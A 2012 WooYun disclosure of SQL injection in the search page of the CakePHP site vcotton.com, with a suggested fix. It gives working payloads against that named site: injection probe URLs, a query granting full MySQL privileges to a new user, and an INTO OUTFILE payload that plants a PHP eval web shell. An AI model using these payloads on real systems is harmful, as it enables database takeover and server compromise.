当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-04218

漏洞标题:维棉等多个CAKEPHP框架站搜索处存在SQL注入攻击

相关厂商:维棉

漏洞作者: 紫梦芊

提交时间:2012-02-05 17:37

修复时间:2012-03-21 17:37

公开时间:2012-03-21 17:37

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:2

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-02-05: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-03-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

http://www.vcotton.com/searchs?keywords=%25%27%29+and+1%3D1+and+1+like%28%27%251
cakephp多数框架版本架设的应用不带搜索的注入过滤

详细说明:

http://www.vcotton.com/searchs?keywords=%25%27%29+and+1%3D1+and+1+like%28%27%251
cakephp多数框架版本架设的应用不带搜索的注入过滤
这里的1=1可以任意换。
然后你可以
%') and 1=1;grant all privileges on *.* to 'zimengqian'@'%' identified by '12345678';#
你可以
%') and 1=(select '<?php eval($_POST[c])?>' into outfile '/data/web_root/abram.intra.vcotton.com/www/current/app/app_controller.php');#(悲催的是无写权限)

漏洞证明:

http://www.vcotton.com/searchs?keywords=%25%27%29+and+1%3D1+and+1+like%28%27%251
http://www.vcotton.com/searchs?keywords=%25%27%29+and+1%3D2+and+1+like%28%27%251

修复方案:

自己在适当位置addslashes 并且 用str_replace给%和_加斜杠
或者修改
core/libs/controller/components/request_handler.php 以适应全部(也许2.0已经修改了这个bug)

版权声明:转载请注明来源 紫梦芊@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:10 (WooYun评价)